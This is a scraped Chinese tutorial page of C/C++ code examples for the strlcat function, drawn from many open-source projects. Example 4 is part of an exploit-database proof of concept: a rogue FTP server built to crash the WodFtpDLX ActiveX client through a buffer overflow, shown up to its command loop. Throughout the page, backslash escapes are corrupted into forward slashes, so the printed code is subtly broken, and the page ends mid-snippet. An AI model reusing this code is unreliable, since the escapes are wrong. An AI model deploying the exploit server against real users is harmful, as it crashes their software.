这篇教程C++ strlcat函数代码示例写得很实用,希望能帮到您。
本文整理汇总了C++中strlcat函数的典型用法代码示例。如果您正苦于以下问题:C++ strlcat函数的具体用法?C++ strlcat怎么用?C++ strlcat使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。 在下文中一共展示了strlcat函数的28个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。 示例1: ct_compare_secretsintct_compare_secrets(struct ct_global_state *state, struct ct_op *op){ struct ct_ctfileop_args *cca = op->op_args; FILE *f, *tf; char temp_path[PATH_MAX]; struct stat sb, tsb; char buf[1024], tbuf[1024]; size_t rsz; off_t sz; int ret = 0, s_errno = 0; /* cachedir is '/' terminated */ strlcpy(temp_path, cca->cca_tdir, sizeof(temp_path)); strlcat(temp_path, cca->cca_localname, sizeof(temp_path)); if (stat(state->ct_config->ct_crypto_secrets, &sb) != 0) { s_errno = errno; ret = CTE_ERRNO; CWARNX("/"%s/": %s", state->ct_config->ct_crypto_secrets, ct_strerror(ret)); goto free; } if (stat(temp_path, &tsb) != 0) { s_errno = errno; ret = CTE_ERRNO; CWARNX("/"%s/": %s", temp_path, ct_strerror(ret)); goto free; } /* Compare size first */ if (tsb.st_size != sb.st_size) { ret = CTE_SECRETS_FILE_SIZE_MISMATCH; CWARNX("%" PRId64 " vs %" PRId64 ": %s", (int64_t)tsb.st_size, (int64_t)sb.st_size, ct_strerror(ret)); goto free; } if ((f = ct_fopen(state->ct_config->ct_crypto_secrets, "rb")) == NULL) { s_errno = errno; ret = CTE_ERRNO; CWARNX("/"%s/": %s", state->ct_config->ct_crypto_secrets, ct_strerror(ret)); goto free; } if ((tf = ct_fopen(temp_path, "rb")) == NULL) { s_errno = errno; ret = CTE_ERRNO; CWARNX("temp_path: %s", ct_strerror(ret)); goto close_current; } /* read then throw away */ unlink(temp_path); while (sb.st_size > 0) { sz = sb.st_size; if (sz > 1024) sz = 1024; sb.st_size -= sz; CNDBG(CT_LOG_FILE, "sz = %" PRId64 " remaining = %" PRId64, (int64_t)sz, (int64_t)sb.st_size); if ((rsz = fread(buf, 1, sz, f)) != sz) { CNDBG(CT_LOG_CRYPTO, "short read on secrets file (%" PRId64 " %" PRId64 ")", (int64_t)sz, (int64_t)rsz); ret = CTE_SECRETS_FILE_SHORT_READ; CWARNX("%s: %s", state->ct_config->ct_crypto_secrets, ct_strerror(ret)); goto out; } if ((rsz = fread(tbuf, 1, sz, tf)) != sz) { CNDBG(CT_LOG_CRYPTO, "short read on temporary secrets " "file (%" PRId64 " %" PRId64 ")", (int64_t)sz, (int64_t)rsz); ret = CTE_SECRETS_FILE_SHORT_READ; CWARNX("%s: %s", temp_path, ct_strerror(ret)); goto out; } if (memcmp(buf, tbuf, sz) != 0) { ret = CTE_SECRETS_FILE_DIFFERS; goto out; } }out: fclose(f);close_current: fclose(tf);free: e_free(&cca); if (ret == CTE_ERRNO) errno = s_errno; return (ret);}
开发者ID:carriercomm,项目名称:cyphertite,代码行数:92,
示例2: _ds_get_nextuserchar * _ds_get_nextuser (DSPAM_CTX * CTX) { static char user[MAX_FILENAME_LENGTH]; static char path[MAX_FILENAME_LENGTH]; struct _hash_drv_storage *s = (struct _hash_drv_storage *) CTX->storage; struct nt_node *node_nt, *prev; struct nt_c c_nt; char *x = NULL, *y; DIR *dir = NULL; struct dirent *entry; if (s->dir_handles->items == 0) { char filename[MAX_FILENAME_LENGTH]; snprintf(filename, MAX_FILENAME_LENGTH, "%s/data", CTX->home); dir = opendir (filename); if (dir == NULL) { LOG (LOG_WARNING, "unable to open directory '%s' for reading: %s", CTX->home, strerror (errno)); return NULL; } nt_add (s->dir_handles, (void *) dir); strlcpy (path, filename, sizeof (path)); } else { node_nt = c_nt_first (s->dir_handles, &c_nt); while (node_nt != NULL) { if (node_nt->next == NULL) dir = (DIR *) node_nt->ptr; node_nt = c_nt_next (s->dir_handles, &c_nt); } } while ((entry = readdir (dir)) != NULL) { struct stat st; char filename[MAX_FILENAME_LENGTH]; snprintf (filename, sizeof (filename), "%s/%s", path, entry->d_name); if (!strcmp (entry->d_name, ".") || !strcmp (entry->d_name, "..")) continue; if (stat (filename, &st)) { continue; } /* push a new directory */ if (st.st_mode & S_IFDIR) { DIR *ndir; ndir = opendir (filename); if (ndir == NULL) continue; strlcat (path, "/", sizeof (path)); strlcat (path, entry->d_name, sizeof (path)); nt_add (s->dir_handles, (void *) ndir); return _ds_get_nextuser (CTX); } else if (strlen(entry->d_name)>4 && !strncmp ((entry->d_name + strlen (entry->d_name)) - 4, ".css", 4)) { strlcpy (user, entry->d_name, sizeof (user)); user[strlen (user) - 4] = 0; return user; } } /* pop current directory */ y = strchr (path, '/'); while (y != NULL) { x = y; y = strchr (x + 1, '/'); } if (x) x[0] = 0; /* pop directory handle from list */ node_nt = c_nt_first (s->dir_handles, &c_nt); prev = NULL; while (node_nt != NULL) { if (node_nt->next == NULL) { dir = (DIR *) node_nt->ptr; closedir (dir); if (prev != NULL) { prev->next = NULL; s->dir_handles->insert = NULL; } else s->dir_handles->first = NULL;//.........这里部分代码省略.........
开发者ID:aleksey200505,项目名称:dspam,代码行数:101,
示例3: video_shader_write_conf_cgp/** * video_shader_write_conf_cgp: * @conf : Preset file to read from. * @shader : Shader passes handle. * * Saves preset and all associated state (passes, * textures, imports, etc) to disk. **/void video_shader_write_conf_cgp(config_file_t *conf, struct video_shader *shader){ unsigned i; config_set_int(conf, "shaders", shader->passes); if (shader->feedback_pass >= 0) config_set_int(conf, "feedback_pass", shader->feedback_pass); for (i = 0; i < shader->passes; i++) { char key[64]; size_t tmp_size = PATH_MAX_LENGTH * sizeof(char); char *tmp = (char*)malloc(PATH_MAX_LENGTH * sizeof(char)); const struct video_shader_pass *pass = &shader->pass[i]; key[0] = '/0'; snprintf(key, sizeof(key), "shader%u", i); strlcpy(tmp, pass->source.path, tmp_size); if (!path_is_absolute(tmp)) path_resolve_realpath(tmp, tmp_size); config_set_string(conf, key, tmp); free(tmp); if (pass->filter != RARCH_FILTER_UNSPEC) { snprintf(key, sizeof(key), "filter_linear%u", i); config_set_bool(conf, key, pass->filter == RARCH_FILTER_LINEAR); } snprintf(key, sizeof(key), "wrap_mode%u", i); config_set_string(conf, key, wrap_mode_to_str(pass->wrap)); if (pass->frame_count_mod) { snprintf(key, sizeof(key), "frame_count_mod%u", i); config_set_int(conf, key, pass->frame_count_mod); } snprintf(key, sizeof(key), "mipmap_input%u", i); config_set_bool(conf, key, pass->mipmap); snprintf(key, sizeof(key), "alias%u", i); config_set_string(conf, key, pass->alias); shader_write_fbo(conf, &pass->fbo, i); } if (shader->num_parameters) { size_t param_size = 4096 * sizeof(char); char *parameters = (char*)malloc(4096 * sizeof(char)); parameters[0] = '/0'; strlcpy(parameters, shader->parameters[0].id, param_size); for (i = 1; i < shader->num_parameters; i++) { /* O(n^2), but number of parameters is very limited. */ strlcat(parameters, ";", param_size); strlcat(parameters, shader->parameters[i].id, param_size); } config_set_string(conf, "parameters", parameters); for (i = 0; i < shader->num_parameters; i++) config_set_float(conf, shader->parameters[i].id, shader->parameters[i].current); free(parameters); } if (shader->luts) { size_t tex_size = 4096 * sizeof(char); char *textures = (char*)malloc(4096 * sizeof(char)); textures[0] = '/0'; strlcpy(textures, shader->lut[0].id, tex_size); for (i = 1; i < shader->luts; i++) { /* O(n^2), but number of textures is very limited. */ strlcat(textures, ";", tex_size); strlcat(textures, shader->lut[i].id, tex_size); } config_set_string(conf, "textures", textures);//.........这里部分代码省略.........
开发者ID:RobLoach,项目名称:RetroArch,代码行数:101,
示例4: mainint main(int argc,char **argv){ SOCKET sock, client; struct sockaddr_in sock_addr,client_addr; WSADATA data; WORD p; char mess[4096], received[512], addr[32]; int lun, n, i, err; HANDLE fileListH; DWORD fileListId, exitCode; printf("------------------------------------------------------------------------------/r/n"); printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit/r/n"); printf("/t/t/tcreated by Komrade/r/n/r/n"); printf("/t/te-mail: unsecure(at)altervista(dot)org/r/n"); printf("/t/tweb: http://unsecure.altervista.org/r/n"); printf("------------------------------------------------------------------------------/r/n/r/n"); if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){ printf("Usage: WodFtpCrash [-l] [-r server IP]/r/n/r/n"); printf("Options:/r/n"); printf(" -l/t/texecuted locally./r/n"); printf(" -r server IP/texecuted remotely. You need to specify the address of the/r/n"); printf("/t/tFTP server for the PASV command (Insert your IP address)/r/n"); printf("/r/nExamples:/r/n"); printf(" wodftpcrash -l/t/t/texecuted locally/r/n"); printf(" wodftpCrash -r 10.0.0.1/texecuted remotely/r/n"); return 0; } if(strcmp(argv[1], "-r") == 0){ char *token[4]; token[0]=strtok(argv[2], "."); for(i = 1; i < 4; i++){ token[i]=strtok(NULL, "."); } strcpy(addr, "/0"); for(i=0; (i < 4) && (token[i]!= NULL); i++){ strlcat(addr, token[i], 16); strcat(addr, ","); } } else strcpy(addr, "127,0,0,1,"); p = MAKEWORD(2, 0); WSAStartup(p, &data); sock=socket(PF_INET,SOCK_STREAM,0); sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(FTP_PORT); sock_addr.sin_addr.s_addr=INADDR_ANY; err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in)); if (err < 0){ printf("Error in bind(). Port may be in use/r/n"); return -1; } err = listen(sock,1); if (err < 0){ printf("Error in listen()/r/n"); return -1; } lun = sizeof (struct sockaddr); printf("Opening the FTP port and waiting for connections.../r/n"); client = accept(sock, (struct sockaddr*)&client_addr, &lun); printf("Client connected from IP: %s/r/n/r/n", inet_ntoa(client_addr.sin_addr)); strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit/r/n"); n=send(client, mess, strlen(mess), 0); if (n < 0){ printf("Error in send()/r/n"); return -1; } while(wait == TRUE){ Sleep(800); n = recv(client, received, sizeof(mess), 0); if (n < 0){ printf("Error in recv()/r/n"); return -1; } received[n]=0; printf("CLIENT: %s", received); if (stricmp("USER", strtok(received, " ")) == 0) strcpy(mess, "331 Anonymous access allowed, send password./r/n"); else if (stricmp("PASS", strtok(received, " ")) == 0) strcpy(mess, "230 Anonymous user logged in./r/n"); else if (stricmp("PWD/r/n", received) == 0) strcpy(mess, "257 /"//" is current directory./r/n"); else if (stricmp("CWD", strtok(received, " ")) == 0)//.........这里部分代码省略.........
开发者ID:ALurker,项目名称:exploit-database,代码行数:101,
示例5: make_policyintmake_policy(char **type, char **data, int count, char **presult, int derive){ static char result[4096]; char one[2048]; int i; int nfilename, isfilename; result[0] = '/0'; nfilename = 0; for (i = 0; i < count; i++) { isfilename = 0; /* Special case for non existing filenames */ if (strstr(data[i], "<non-existent filename>") != NULL) { snprintf(result, sizeof(result), "filename%s sub /"<non-existent filename>/" then deny[enoent]", i ? "[1]" : ""); break; } if (!strcmp(type[i], "uid") || !strcmp(type[i], "gid") || !strcmp(type[i], "argv")) continue; /* Special case for system calls with more than one filename */ if (!strcmp(type[i], "filename")) { isfilename = 1; nfilename++; } if (strlen(result)) { if (strlcat(result, " and ", sizeof(result)) >= sizeof(result)) return (-1); } /* Special treatment for filenames */ if (isfilename) { char filename[2048]; char *operator = "eq"; if (derive) { operator = "match"; snprintf(filename, sizeof(filename), "%s/*", dirname(data[i])); } else strlcpy(filename, data[i], sizeof(filename)); /* Make useful replacements */ while (strrpl(filename, sizeof(filename), home, "$HOME") != NULL) ; while (strrpl(filename, sizeof(filename), username, "$USER") != NULL) ; snprintf(one, sizeof(one), "%s%s %s /"%s/"", type[i], isfilename && nfilename == 2 ? "[1]" : "", operator, filename); } else { snprintf(one, sizeof(one), "%s eq /"%s/"", type[i], data[i]); } if (strlcat(result, one, sizeof(result)) >= sizeof(result)) return (-1);; } if (!strlen(result)) return (-1); /* Normal termination */ if (i == count) strlcat(result, " then permit", sizeof(result)); *presult = result; return (nfilename);}
开发者ID:barak,项目名称:xsystrace,代码行数:77,
示例6: main//.........这里部分代码省略.........mount_retry: if(orgoptions) { optlen = strlen(orgoptions); orgoptlen = optlen; } else optlen = 0; if(share_name) optlen += strlen(share_name) + 4; else { printf("No server share name specified/n"); printf("/nMounting the DFS root for server not implemented yet/n"); exit(1); } if(user_name) optlen += strlen(user_name) + 6; if(ipaddr) optlen += strlen(ipaddr) + 4; if(mountpassword) optlen += strlen(mountpassword) + 6; if(options) { free(options); options = NULL; } options_size = optlen + 10 + 64; options = (char *)malloc(options_size /* space for commas in password */ + 8 /* space for domain= , domain name itself was counted as part of the length username string above */); if(options == NULL) { printf("Could not allocate memory for mount options/n"); return -1; } options[0] = 0; strlcpy(options,"unc=",options_size); strlcat(options,share_name,options_size); /* scan backwards and reverse direction of slash */ temp = strrchr(options, '/'); if(temp > options + 6) *temp = '//'; if(ipaddr) { strlcat(options,",ip=",options_size); strlcat(options,ipaddr,options_size); } if(user_name) { /* check for syntax like user=domain/user */ if(got_domain == 0) domain_name = check_for_domain(&user_name); strlcat(options,",user=",options_size); strlcat(options,user_name,options_size); } if(retry == 0) { if(domain_name) { /* extra length accounted for in option string above */ strlcat(options,",domain=",options_size); strlcat(options,domain_name,options_size); } } if(mountpassword) { /* Commas have to be doubled, or else they will look like the parameter separator *//* if(sep is not set)*/ if(retry == 0) check_for_comma(&mountpassword); strlcat(options,",pass=",options_size); strlcat(options,mountpassword,options_size); }
开发者ID:TKr,项目名称:Wive-ng-rt8186,代码行数:67,
示例7: print_headerstatic void print_header(const knot_pkt_t *packet, const style_t *style, const uint16_t ext_rcode){ char flags[64] = ""; uint8_t opcode_id; const char *rcode_str = "Unknown"; const char *opcode_str = "Unknown"; lookup_table_t *rcode, *opcode; // Get RCODE from Header and check for Extended RCODE from OPT RR. rcode = lookup_by_id(knot_rcode_names, ext_rcode); if (rcode != NULL) { rcode_str = rcode->name; } // Get OPCODE. opcode_id = knot_wire_get_opcode(packet->wire); opcode = lookup_by_id(knot_opcode_names, opcode_id); if (opcode != NULL) { opcode_str = opcode->name; } // Get flags. size_t flags_rest = sizeof(flags); const size_t flag_len = 4; if (knot_wire_get_qr(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " qr", flags_rest); } if (knot_wire_get_aa(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " aa", flags_rest); } if (knot_wire_get_tc(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " tc", flags_rest); } if (knot_wire_get_rd(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " rd", flags_rest); } if (knot_wire_get_ra(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " ra", flags_rest); } if (knot_wire_get_z(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " z", flags_rest); } if (knot_wire_get_ad(packet->wire) != 0 && flags_rest > flag_len) { flags_rest -= strlcat(flags, " ad", flags_rest); } if (knot_wire_get_cd(packet->wire) != 0 && flags_rest > flag_len) { strlcat(flags, " cd", flags_rest); } uint16_t id = knot_wire_get_id(packet->wire); uint16_t qdcount = knot_wire_get_qdcount(packet->wire); uint16_t ancount = knot_wire_get_ancount(packet->wire); uint16_t nscount = knot_wire_get_nscount(packet->wire); uint16_t arcount = knot_wire_get_arcount(packet->wire); if (knot_pkt_has_tsig(packet)) { arcount++; } // Print formatted info. switch (style->format) { case FORMAT_NSUPDATE: printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u/n" ";; Flags:%1s; " "ZONE: %u; PREREQ: %u; UPDATE: %u; ADDITIONAL: %u/n", opcode_str, rcode_str, id, flags, qdcount, ancount, nscount, arcount); break; default: printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u/n" ";; Flags:%1s; " "QUERY: %u; ANSWER: %u; AUTHORITY: %u; ADDITIONAL: %u/n", opcode_str, rcode_str, id, flags, qdcount, ancount, nscount, arcount); break; }}
开发者ID:gitter-badger,项目名称:knot,代码行数:78,
示例8: sshpam_querystatic intsshpam_query(void *ctx, char **name, char **info, u_int *num, char ***prompts, u_int **echo_on){ Buffer buffer; struct pam_ctxt *ctxt = ctx; size_t plen; u_char type; char *msg; size_t len, mlen; debug3("PAM: %s entering", __func__); buffer_init(&buffer); *name = xstrdup(""); *info = xstrdup(""); *prompts = xmalloc(sizeof(char *)); **prompts = NULL; plen = 0; *echo_on = xmalloc(sizeof(u_int)); while (ssh_msg_recv(ctxt->pam_psock, &buffer) == 0) { type = buffer_get_char(&buffer); msg = buffer_get_string(&buffer, NULL); mlen = strlen(msg); switch (type) { case PAM_PROMPT_ECHO_ON: case PAM_PROMPT_ECHO_OFF: *num = 1; len = plen + mlen + 1; **prompts = xreallocarray(**prompts, 1, len); strlcpy(**prompts + plen, msg, len - plen); plen += mlen; **echo_on = (type == PAM_PROMPT_ECHO_ON); free(msg); return (0); case PAM_ERROR_MSG: case PAM_TEXT_INFO: /* accumulate messages */ len = plen + mlen + 2; **prompts = xreallocarray(**prompts, 1, len); strlcpy(**prompts + plen, msg, len - plen); plen += mlen; strlcat(**prompts + plen, "/n", len - plen); plen++; free(msg); break; case PAM_ACCT_EXPIRED: sshpam_account_status = 0; /* FALLTHROUGH */ case PAM_AUTH_ERR: debug3("PAM: %s", pam_strerror(sshpam_handle, type)); if (**prompts != NULL && strlen(**prompts) != 0) { *info = **prompts; **prompts = NULL; *num = 0; **echo_on = 0; ctxt->pam_done = -1; free(msg); return 0; } /* FALLTHROUGH */ case PAM_SUCCESS: if (**prompts != NULL) { /* drain any accumulated messages */ debug("PAM: %s", **prompts); buffer_append(&loginmsg, **prompts, strlen(**prompts)); free(**prompts); **prompts = NULL; } if (type == PAM_SUCCESS) { if (!sshpam_authctxt->valid || (sshpam_authctxt->pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)) fatal("Internal error: PAM auth " "succeeded when it should have " "failed"); import_environments(&buffer); *num = 0; **echo_on = 0; ctxt->pam_done = 1; free(msg); return (0); } error("PAM: %s for %s%.100s from %.100s", msg, sshpam_authctxt->valid ? "" : "illegal user ", sshpam_authctxt->user, get_remote_name_or_ip(utmp_len, options.use_dns)); /* FALLTHROUGH */ default: *num = 0; **echo_on = 0; free(msg); ctxt->pam_done = -1; return (-1); } } return (-1);}
开发者ID:1174533476,项目名称:Win32-OpenSSH,代码行数:98,
示例9: jl_getDylibFunctionInfovoid jl_getDylibFunctionInfo(const char **name, int *line, const char **filename, size_t pointer, int skipC){#ifdef _OS_WINDOWS_ DWORD fbase = SymGetModuleBase64(GetCurrentProcess(),(DWORD)pointer); if (fbase != 0) {#else Dl_info dlinfo; if ((dladdr((void*)pointer, &dlinfo) != 0) && dlinfo.dli_fname) { if (skipC && !jl_is_sysimg(dlinfo.dli_fname)) return; uint64_t fbase = (uint64_t)dlinfo.dli_fbase;#endif obfiletype::iterator it = objfilemap.find(fbase); llvm::object::ObjectFile *obj = NULL; DIContext *context = NULL; int64_t slide = 0; if (it == objfilemap.end()) {#ifdef _OS_DARWIN_ // First find the uuid of the object file (we'll use this to make sure we find the // correct debug symbol file). uint8_t uuid[16], uuid2[16];#ifdef LLVM35 ErrorOr<llvm::object::ObjectFile*> origerrorobj = llvm::object::ObjectFile::createObjectFile(#else llvm::object::ObjectFile *origerrorobj = llvm::object::ObjectFile::createObjectFile(#endif MemoryBuffer::getMemBuffer( StringRef((const char *)fbase, (size_t)(((uint64_t)-1)-fbase)),"",false)#ifdef LLVM35 ,false, sys::fs::file_magic::unknown#endif ); if (!origerrorobj) { objfileentry_t entry = {obj,context,slide}; objfilemap[fbase] = entry; return; }#ifdef LLVM35 llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj.get();#else llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj;#endif if (!getObjUUID(morigobj,uuid)) { objfileentry_t entry = {obj,context,slide}; objfilemap[fbase] = entry; return; } // On OS X debug symbols are not contained in the dynamic library and that's why // we can't have nice things (easily). For now we only support .dSYM files in the same directory // as the shared library. In the future we may use DBGCopyFullDSYMURLForUUID from CoreFoundation to make // use of spotlight to find the .dSYM file. char dsympath[PATH_MAX]; strlcpy(dsympath, dlinfo.dli_fname, sizeof(dsympath)); strlcat(dsympath, ".dSYM/Contents/Resources/DWARF/", sizeof(dsympath)); strlcat(dsympath, strrchr(dlinfo.dli_fname,'/')+1, sizeof(dsympath));#ifdef LLVM35 ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);#else llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);#endif#else#ifndef _OS_WINDOWS_ const char *fname = dlinfo.dli_fname;#else IMAGEHLP_MODULE64 ModuleInfo; ModuleInfo.SizeOfStruct = sizeof(IMAGEHLP_MODULE64); SymGetModuleInfo64(GetCurrentProcess(), (DWORD64)pointer, &ModuleInfo); char *fname = ModuleInfo.LoadedImageName; JL_PRINTF(JL_STDOUT,fname);#endif // On non OS X systems we need to mmap another copy because of the permissions on the mmaped // shared library.#ifdef LLVM35 ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(fname);#else llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(fname);#endif#endif#ifdef LLVM35 if (errorobj) { obj = errorobj.get();#else if (errorobj != NULL) { obj = errorobj;#endif#ifdef _OS_DARWIN_ if (getObjUUID(morigobj,uuid2) && memcmp(uuid,uuid2,sizeof(uuid)) == 0) {#endif context = DIContext::getDWARFContext(obj); slide = -(uint64_t)fbase;#ifdef _OS_DARWIN_ }#endif#ifdef _OS_WINDOWS_ assert(obj->isCOFF()); llvm::object::COFFObjectFile *coffobj = (llvm::object::COFFObjectFile *)obj; const llvm::object::pe32plus_header *pe32plus; coffobj->getPE32PlusHeader(pe32plus); if (pe32plus != NULL) {//.........这里部分代码省略.........
开发者ID:BigCrunsh,项目名称:julia,代码行数:101,
示例10: noit_jlog_thread_mainvoid *noit_jlog_thread_main(void *e_vptr) { int mask, bytes_read, sleeptime, max_sleeptime; eventer_t e = e_vptr; acceptor_closure_t *ac = e->closure; noit_jlog_closure_t *jcl = ac->service_ctx; char inbuff[sizeof(jlog_id)]; mtev_memory_init_thread(); eventer_set_fd_blocking(e->fd); max_sleeptime = DEFAULT_MSECONDS_BETWEEN_BATCHES; if(ac->cmd == NOIT_JLOG_DATA_TEMP_FEED) max_sleeptime = DEFAULT_TRANSIENT_MSECONDS_BETWEEN_BATCHES; sleeptime = max_sleeptime; while(1) { jlog_id client_chkpt; sleeptime = MIN(sleeptime, max_sleeptime); jlog_get_checkpoint(jcl->jlog, ac->remote_cn, &jcl->chkpt); jcl->count = jlog_ctx_read_interval(jcl->jlog, &jcl->start, &jcl->finish); if(jcl->count < 0) { char idxfile[PATH_MAX]; mtevL(noit_error, "jlog_ctx_read_interval: %s/n", jlog_ctx_err_string(jcl->jlog)); switch (jlog_ctx_err(jcl->jlog)) { case JLOG_ERR_FILE_CORRUPT: case JLOG_ERR_IDX_CORRUPT: jlog_repair_datafile(jcl->jlog, jcl->start.log); jlog_repair_datafile(jcl->jlog, jcl->start.log + 1); mtevL(noit_error, "jlog reconstructed, deleting corresponding index./n"); STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log); strlcat(idxfile, INDEX_EXT, sizeof(idxfile)); unlink(idxfile); STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log + 1); strlcat(idxfile, INDEX_EXT, sizeof(idxfile)); unlink(idxfile); goto alldone; break; default: goto alldone; } } if(jcl->count > MAX_ROWS_AT_ONCE) { /* Artificially set down the range to make the batches a bit easier * to handle on the stratcond/postgres end. * However, we must have more data, so drop the sleeptime to 0 */ jcl->count = MAX_ROWS_AT_ONCE; jcl->finish.marker = jcl->start.marker + jcl->count; } if(jcl->count > 0) { sleeptime = 0; if(noit_jlog_push(e, jcl)) { goto alldone; } /* Read our jlog_id accounting for possibly short reads */ bytes_read = 0; while(bytes_read < sizeof(jlog_id)) { int len; if((len = e->opset->read(e->fd, inbuff + bytes_read, sizeof(jlog_id) - bytes_read, &mask, e)) <= 0) goto alldone; bytes_read += len; } memcpy(&client_chkpt, inbuff, sizeof(jlog_id)); /* Fix the endian */ client_chkpt.log = ntohl(client_chkpt.log); client_chkpt.marker = ntohl(client_chkpt.marker); if(memcmp(&jcl->chkpt, &client_chkpt, sizeof(jlog_id))) { mtevL(noit_error, "client %s submitted invalid checkpoint %u:%u expected %u:%u/n", ac->remote_cn, client_chkpt.log, client_chkpt.marker, jcl->chkpt.log, jcl->chkpt.marker); goto alldone; } mtev_gettimeofday(&jcl->feed_stats->last_checkpoint, NULL); jlog_ctx_read_checkpoint(jcl->jlog, &jcl->chkpt); } else { /* we have nothing to write -- maybe we have no checks configured... * If this is the case "forever", the remote might disconnect and * we would never know. Do the painful work of detecting a * disconnected client. */ struct pollfd pfd; pfd.fd = e->fd; pfd.events = POLLIN | POLLHUP | POLLRDNORM; pfd.revents = 0; if(poll(&pfd, 1, 0) != 0) { /* normally, we'd recv PEEK|DONTWAIT. However, the client should * not be writing to us. So, we know we can't have any legitimate * data on this socket (true even though this is SSL). So, if we're * here then "shit went wrong" */ mtevL(noit_error, "jlog client %s disconnected while idle/n", ac->remote_cn);//.........这里部分代码省略.........
开发者ID:JonasKunze,项目名称:reconnoiter,代码行数:101,
示例11: test_crypto_formats/** Run unit tests for misc crypto formatting functionality (base64, base32, * fingerprints, etc) */static voidtest_crypto_formats(void){ char *data1 = NULL, *data2 = NULL, *data3 = NULL; int i, j, idx; data1 = tor_malloc(1024); data2 = tor_malloc(1024); data3 = tor_malloc(1024); test_assert(data1 && data2 && data3); /* Base64 tests */ memset(data1, 6, 1024); for (idx = 0; idx < 10; ++idx) { i = base64_encode(data2, 1024, data1, idx); test_assert(i >= 0); j = base64_decode(data3, 1024, data2, i); test_eq(j,idx); test_memeq(data3, data1, idx); } strlcpy(data1, "Test string that contains 35 chars.", 1024); strlcat(data1, " 2nd string that contains 35 chars.", 1024); i = base64_encode(data2, 1024, data1, 71); test_assert(i >= 0); j = base64_decode(data3, 1024, data2, i); test_eq(j, 71); test_streq(data3, data1); test_assert(data2[i] == '/0'); crypto_rand(data1, DIGEST_LEN); memset(data2, 100, 1024); digest_to_base64(data2, data1); test_eq(BASE64_DIGEST_LEN, strlen(data2)); test_eq(100, data2[BASE64_DIGEST_LEN+2]); memset(data3, 99, 1024); test_eq(digest_from_base64(data3, data2), 0); test_memeq(data1, data3, DIGEST_LEN); test_eq(99, data3[DIGEST_LEN+1]); test_assert(digest_from_base64(data3, "###") < 0); /* Encoding SHA256 */ crypto_rand(data2, DIGEST256_LEN); memset(data2, 100, 1024); digest256_to_base64(data2, data1); test_eq(BASE64_DIGEST256_LEN, strlen(data2)); test_eq(100, data2[BASE64_DIGEST256_LEN+2]); memset(data3, 99, 1024); test_eq(digest256_from_base64(data3, data2), 0); test_memeq(data1, data3, DIGEST256_LEN); test_eq(99, data3[DIGEST256_LEN+1]); /* Base32 tests */ strlcpy(data1, "5chrs", 1024); /* bit pattern is: [35 63 68 72 73] -> * [00110101 01100011 01101000 01110010 01110011] * By 5s: [00110 10101 10001 10110 10000 11100 10011 10011] */ base32_encode(data2, 9, data1, 5); test_streq(data2, "gvrwq4tt"); strlcpy(data1, "/xFF/xF5/x6D/x44/xAE/x0D/x5C/xC9/x62/xC4", 1024); base32_encode(data2, 30, data1, 10); test_streq(data2, "772w2rfobvomsywe"); /* Base16 tests */ strlcpy(data1, "6chrs/xff", 1024); base16_encode(data2, 13, data1, 6); test_streq(data2, "3663687273FF"); strlcpy(data1, "f0d678affc000100", 1024); i = base16_decode(data2, 8, data1, 16); test_eq(i,0); test_memeq(data2, "/xf0/xd6/x78/xaf/xfc/x00/x01/x00",8); /* now try some failing base16 decodes */ test_eq(-1, base16_decode(data2, 8, data1, 15)); /* odd input len */ test_eq(-1, base16_decode(data2, 7, data1, 16)); /* dest too short */ strlcpy(data1, "f0dz!8affc000100", 1024); test_eq(-1, base16_decode(data2, 8, data1, 16)); tor_free(data1); tor_free(data2); tor_free(data3); /* Add spaces to fingerprint */ { data1 = tor_strdup("ABCD1234ABCD56780000ABCD1234ABCD56780000"); test_eq(strlen(data1), 40); data2 = tor_malloc(FINGERPRINT_LEN+1); add_spaces_to_fp(data2, FINGERPRINT_LEN+1, data1); test_streq(data2, "ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 0000"); tor_free(data1); tor_free(data2); }//.........这里部分代码省略.........
开发者ID:alexwykoff,项目名称:tor,代码行数:101,
示例12: m_join//.........这里部分代码省略......... { sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE), me.name, parv[0], name); if(successful_join_count > 0) successful_join_count--; continue; } if (!IsOper(source_p)) check_spambot_warning(source_p, name); /* can_join checks for +i key, bans etc */ if ( (i = can_join(source_p, chptr, key)) ) { sendto_one(source_p, form_str(i), me.name, parv[0], name); if(successful_join_count > 0) successful_join_count--; continue; } /* add the user to the channel */ add_user_to_channel(chptr, source_p, flags); /* we send the user their join here, because we could have to * send a mode out next. */ sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%[email C++ strlcpy函数代码示例 C++ strjoina函数代码示例
|